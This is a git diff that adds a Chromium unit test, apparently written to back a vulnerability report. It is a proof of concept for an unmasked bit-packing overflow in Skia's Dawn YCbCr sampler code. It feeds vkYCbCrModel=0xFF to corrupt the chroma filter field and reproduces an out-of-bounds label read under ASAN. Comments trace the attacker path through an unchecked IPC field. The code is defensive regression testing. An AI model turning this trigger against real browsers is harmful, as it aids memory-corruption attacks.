diff --git a/skia/BUILD.gn b/skia/BUILD.gn index baa11b3c0e6ea..68f00f15bae37 100644 --- a/skia/BUILD.gn +++ b/skia/BUILD.gn @@ -1181,6 +1181,9 @@ test("skia_unittests") { "ext/skia_memory_dump_provider_unittest.cc", "ext/skia_utils_base_unittest.cc", ] + if (skia_use_dawn) { + sources += [ "ext/dawn_ycbcr_packing_unittest.cc" ] + } if (is_ios) { sources += [ "ext/skia_utils_ios_unittest.mm" ] } diff --git a/skia/ext/dawn_ycbcr_packing_unittest.cc b/skia/ext/dawn_ycbcr_packing_unittest.cc new file mode 100644 index 0000000000000..c864b52c649c3 --- /dev/null +++ b/skia/ext/dawn_ycbcr_packing_unittest.cc @@ -0,0 +1,176 @@ +// Copyright 2026 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. +// +// POC unit test for ImmutableSamplerInfo bit-packing overflow. +// +// DawnDescriptorToImmutableSamplerInfo() in +// third_party/skia/src/gpu/graphite/dawn/DawnGraphiteUtils.cpp packs +// YCbCrVkDescriptor fields into a uint32 using left-shifts WITHOUT masking +// inputs to their allotted bit widths. The bounds checks at lines 301-311 are +// SkASSERT (debug-only). In release builds, vkYCbCrModel >= 8 overflows its +// 3-bit field into adjacent fields, including chromaFilter (bits 7-8). +// +// On Android+Vulkan, the corrupted vkChromaFilter=3 (an invalid +// wgpu::FilterMode enumerator) reaches ToVulkanSamplerFilter() in +// third_party/dawn/src/dawn/native/vulkan/UtilsVulkan.cpp which falls +// through its switch to DAWN_UNREACHABLE() -> __builtin_unreachable(). +// +// On all platforms (when backend labels are enabled), the corrupted value +// causes chromaFilterLabels[3] OOB read in DawnSampler.cpp:136. +// +// This test demonstrates the bit-packing overflow by calling the pack/unpack +// functions directly and reproducing the OOB array read under ASAN. + +#ifdef UNSAFE_BUFFERS_BUILD +// The whole point of the second test is to reproduce an unsafe buffer access +// (chromaFilterLabels[3] one-past-the-end read) so ASAN can catch it. This +// mirrors the production code in DawnSampler.cpp:133-136 which is itself in +// third_party/ and therefore exempt from -Wunsafe-buffer-usage. +#pragma allow_unsafe_buffers +#endif + +#include +#include + +#include "testing/gtest/include/gtest/gtest.h" +#include "third_party/skia/src/gpu/graphite/ResourceTypes.h" + +// We don't include DawnGraphiteUtils.h directly because it pulls in heavy +// SkSL codegen headers. Instead, declare the minimal pieces we need. +// The wgpu::YCbCrVkDescriptor layout is fixed by Dawn's generated headers +// and the functions are exported by the skia static library. +#include "webgpu/webgpu_cpp.h" // NO_G3_REWRITE + +namespace skgpu::graphite { +// Forward-declare the vulnerable functions (defined in DawnGraphiteUtils.cpp, +// linked via //skia:skia -> skia_graphite_private). +ImmutableSamplerInfo DawnDescriptorToImmutableSamplerInfo( + const wgpu::YCbCrVkDescriptor&); +wgpu::YCbCrVkDescriptor DawnDescriptorFromImmutableSamplerInfo( + ImmutableSamplerInfo); +} // namespace skgpu::graphite + +namespace { + +// ---------------------------------------------------------------------------- +// Test 1: Demonstrate the bit-packing overflow round-trip. +// +// Bit layout (from DawnGraphiteUtils.cpp lines 230-250): +// bit 0: usesExternalFormat (1 bit) +// bits 1-3: vkYCbCrModel (3 bits) <-- attacker-controlled +// bit 4: vkYCbCrRange (1 bit) +// bit 5: vkXChromaOffset (1 bit) +// bit 6: vkYChromaOffset (1 bit) +// bits 7-8: vkChromaFilter (2 bits) <-- corruption target +// +// vkYCbCrModel = 0xFF, packed without masking: +// (0xFF << 1) = 0x1FE = 0b1_1111_1110 -> sets bits 1 through 8. +// +// Unpack of vkChromaFilter: +// kChromaFilterMask = 0b1_1000_0000 = 0x180 +// (0x1FE & 0x180) >> 7 = 0x180 >> 7 = 3 +// +// 3 is NOT a valid wgpu::FilterMode (Undefined=0, Nearest=1, Linear=2). +// ---------------------------------------------------------------------------- +TEST(DawnYCbCrPackingPOC, BitPackingOverflowProducesInvalidChromaFilter) { + wgpu::YCbCrVkDescriptor desc; + // Attacker-controlled value sent via TransferableResource.ycbcr_info. + // The mojo trait at gpu/ipc/common/vulkan_ycbcr_info_mojom_traits.h passes + // suggested_ycbcr_model as a raw uint32 with no bounds check. + desc.vkYCbCrModel = 0xFF; + // Need a non-zero format so DawnDescriptorUsesExternalFormat doesn't + // SkASSERT (debug-only, but be polite). On Android the attacker would set + // externalFormat to match the SharedImage's external format to pass + // DawnYCbCrVkDescriptorsAreCompatible. + desc.externalFormat = 0x42; + // All other fields zero-initialised (default). + + // PACK: vulnerable function. SkASSERT bounds checks are no-ops in release. + // (uint32_t)(0xFF) << 1 = 0x1FE, ORed into the packed word with no masking. + skgpu::graphite::ImmutableSamplerInfo packed = + skgpu::graphite::DawnDescriptorToImmutableSamplerInfo(desc); + + fprintf(stderr, + "[POC] Packed fNonFormatYcbcrConversionInfo = 0x%08x " + "(expected bits 1-8 set: 0x1FF)\n", + packed.fNonFormatYcbcrConversionInfo); + + // Bits 1-8 must be set: 0xFF<<1 = 0x1FE, OR'd with usesExternalFormat=1 + // (bit 0) gives 0x1FF. + EXPECT_EQ(packed.fNonFormatYcbcrConversionInfo & 0x1FFu, 0x1FFu); + + // UNPACK: this is what DawnSampler::Make does (DawnSampler.cpp:94-95). + wgpu::YCbCrVkDescriptor unpacked = + skgpu::graphite::DawnDescriptorFromImmutableSamplerInfo(packed); + + uint32_t chroma_filter_raw = static_cast(unpacked.vkChromaFilter); + fprintf(stderr, + "[POC] Unpacked vkChromaFilter = %u " + "(valid wgpu::FilterMode enumerators are 0, 1, 2)\n", + chroma_filter_raw); + + // PROOF OF BUG: vkChromaFilter is now 3, which is NOT a valid + // wgpu::FilterMode enumerator. + EXPECT_EQ(chroma_filter_raw, 3u); + EXPECT_NE(unpacked.vkChromaFilter, wgpu::FilterMode::Undefined); + EXPECT_NE(unpacked.vkChromaFilter, wgpu::FilterMode::Nearest); + EXPECT_NE(unpacked.vkChromaFilter, wgpu::FilterMode::Linear); + + // Side-channel corruption: vkYCbCrModel itself is also clobbered (only 3 + // bits survive: 0xFF -> 0x7), and vkYCbCrRange/x/yChromaOffset are flipped. + EXPECT_EQ(unpacked.vkYCbCrModel, 7u); // bits 1-3 of 0x1FF + EXPECT_EQ(unpacked.vkYCbCrRange, 1u); // bit 4 of 0x1FF + EXPECT_EQ(unpacked.vkXChromaOffset, 1u); // bit 5 of 0x1FF + EXPECT_EQ(unpacked.vkYChromaOffset, 1u); // bit 6 of 0x1FF +} + +// ---------------------------------------------------------------------------- +// Test 2: Reproduce the chromaFilterLabels[3] OOB read. +// +// This is an EXACT replica of DawnSampler.cpp lines 133-136. When the +// kSkiaGraphiteDawnBackendDebugLabels feature is enabled (the +// setBackendLabels() check), DawnSampler::Make indexes a 3-element static +// array with the corrupted vkChromaFilter value (3) -> global-buffer-overflow. +// +// Under ASAN this produces a global-buffer-overflow report, proving the +// secondary memory-safety issue described in the vulnerability report. +// ---------------------------------------------------------------------------- +TEST(DawnYCbCrPackingPOC, ChromaFilterLabelsOOBRead) { + wgpu::YCbCrVkDescriptor desc; + desc.vkYCbCrModel = 0xFF; + desc.externalFormat = 0x42; + + skgpu::graphite::ImmutableSamplerInfo packed = + skgpu::graphite::DawnDescriptorToImmutableSamplerInfo(desc); + wgpu::YCbCrVkDescriptor unpacked = + skgpu::graphite::DawnDescriptorFromImmutableSamplerInfo(packed); + + // Replica of DawnSampler.cpp:133-136. The array has exactly 3 elements; + // unpacked.vkChromaFilter is 3 -> chromaFilterLabels[3] is one-past-the-end. + static const char* chromaFilterLabels[] = { + "WGPU_Undefined", "WGPU_Nearest", "WGPU_Linear"}; + fprintf(stderr, + "[POC] About to read chromaFilterLabels[%d] " + "(array has %zu elements)\n", + static_cast(unpacked.vkChromaFilter), + sizeof(chromaFilterLabels) / sizeof(chromaFilterLabels[0])); + + // Decay the array to a pointer so -fsanitize=array-bounds (compile-time + // size check, trap mode) does not fire and ASAN's runtime + // global-buffer-overflow detector can observe the actual wild read instead. + // Note: production DawnSampler.cpp uses direct array subscripting, so on + // builds with sanitize_c_array_bounds (most release Chrome builds!) the + // production code would SIGILL/trap here, mitigating it to a clean crash. + // But on builds WITHOUT that hardening (or if the optimizer hoists the + // index past the trap), this is a wild read of attacker-influenced memory. + const char* const* labels_decayed = chromaFilterLabels; + // === ASAN: global-buffer-overflow on the next line === + const char* label = + labels_decayed[static_cast(unpacked.vkChromaFilter)]; + // Force a use so the read is not optimised away. + fprintf(stderr, "[POC] chromaFilterLabels[3] = %p\n", + static_cast(label)); +} + +} // namespace